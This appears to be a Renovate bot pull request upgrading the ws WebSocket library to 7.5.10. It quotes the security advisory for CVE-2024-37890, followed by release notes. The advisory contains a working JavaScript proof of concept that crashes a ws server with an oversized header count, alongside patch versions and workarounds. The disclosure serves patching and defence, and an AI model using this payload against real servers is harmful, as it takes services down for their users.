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fix(deps): update dependency ws to v7.5.10 [security] - autoclosed #429

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@renovate renovate bot commented Jun 18, 2024

Mend Renovate

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 7.4.6 -> 7.5.10 age adoption passing confidence

Warning

Some dependencies could not be looked up. Check the warning logs for more information.

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References


Release Notes

websockets/ws (ws)

v7.5.10

Compare Source

Bug fixes

v7.5.9

Compare Source

Bug fixes

v7.5.8

Compare Source

Bug fixes

v7.5.7

Compare Source

Bug fixes

v7.5.6

Compare Source

Bug fixes

v7.5.5

Compare Source

Bug fixes

v7.5.4

Compare Source

Bug fixes

v7.5.3

Compare Source

Bug fixes

  • The WebSocketServer constructor now throws an error if more than one of the
    noServer, server, and port options are specefied (66e58d2).
  • Fixed a bug where a 'close' event was emitted by a WebSocketServer before
    the internal HTTP/S server was actually closed (5a58730).
  • Fixed a bug that allowed WebSocket connections to be established after
    WebSocketServer.prototype.close() was called (772236a).

v7.5.2

Compare Source

Bug fixes

  • The opening handshake is now aborted if the client receives a
    Sec-WebSocket-Extensions header but no extension was requested or if the
    server indicates an extension not requested by the client (aca94c8).

v7.5.1

Compare Source

Bug fixes

  • Fixed an issue that prevented the connection from being closed properly if an
    error occurred simultaneously on both peers (b434b9f).

v7.5.0

Compare Source

Features

  • Some errors now have a code property describing the specific type of error
    that has occurred (#​1901).

Bug fixes

  • A close frame is now sent to the remote peer if an error (such as a data
    framing error) occurs (8806aa9).
  • The close code is now always 1006 if no close frame is received, even if the
    connection is closed due to an error (8806aa9).

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title fix(deps): update dependency ws to v7.5.10 [security] fix(deps): update dependency ws to v7.5.10 [security] - autoclosed Aug 6, 2024
@renovate renovate bot closed this Aug 6, 2024
@renovate renovate bot deleted the renovate/npm-ws-vulnerability branch August 6, 2024 09:33
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